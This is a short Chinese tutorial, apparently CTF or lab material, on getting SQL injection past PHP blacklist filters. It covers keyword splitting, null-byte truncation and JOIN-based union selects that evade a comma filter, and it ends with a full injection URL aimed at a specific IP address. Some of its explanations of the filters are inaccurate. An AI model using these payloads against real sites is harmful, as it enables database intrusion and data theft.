一、过滤了特殊符号的字符型注入
例如下面的过滤代码:
-
function blacklist($id)
-
{
-
$id= preg_replace(
'/or/i',
"", $id);
//strip out OR (non case sensitive)
-
$id= preg_replace(
'/and/i',
"", $id);
//Strip out AND (non case sensitive)
-
$id= preg_replace(
'/[\/\*]/',
"", $id);
//strip out /*
-
$id= preg_replace(
'/[--]/',
"", $id);
//Strip out --
-
$id= preg_replace(
'/[#]/',
"", $id);
//Strip out #
-
$id= preg_replace(
'/[\s]/',
"", $id);
//Strip out spaces
-
$id= preg_replace(
'/[\/\\\\]/',
"", $id);
//Strip out slashes
-
return $id;
-
}
在这部分代码中过滤了“or”、“and”、“/”、“*”、“#”、“s”
绕过方法:
因为有过滤,所以order by \and 等命令都不能使用。
用o/**/rder来绕过or过滤
用a/**/nd 来绕过and过滤,或者使ID=0来强制报错
把注释改为;%00截断
二、过滤了逗号的字符型注入
例如下面的过滤代码
-
function blacklist($id)
-
{
-
if(stripos($id,
',')){
//stripos函数作用:查找 "php" 在字符串中第一次出现的位置
-
$id=
'1';
-
}
else{
-
$id=$id;
-
}
-
return $id;
-
}
绕过方法
在注入语句中使用Join函数即可绕过
例如:
http://222.18.158.243:4604/?id=1' and 1=2 union select * from ( (select 1)a JOIN (select 2) b JOIN (select 3) c )%23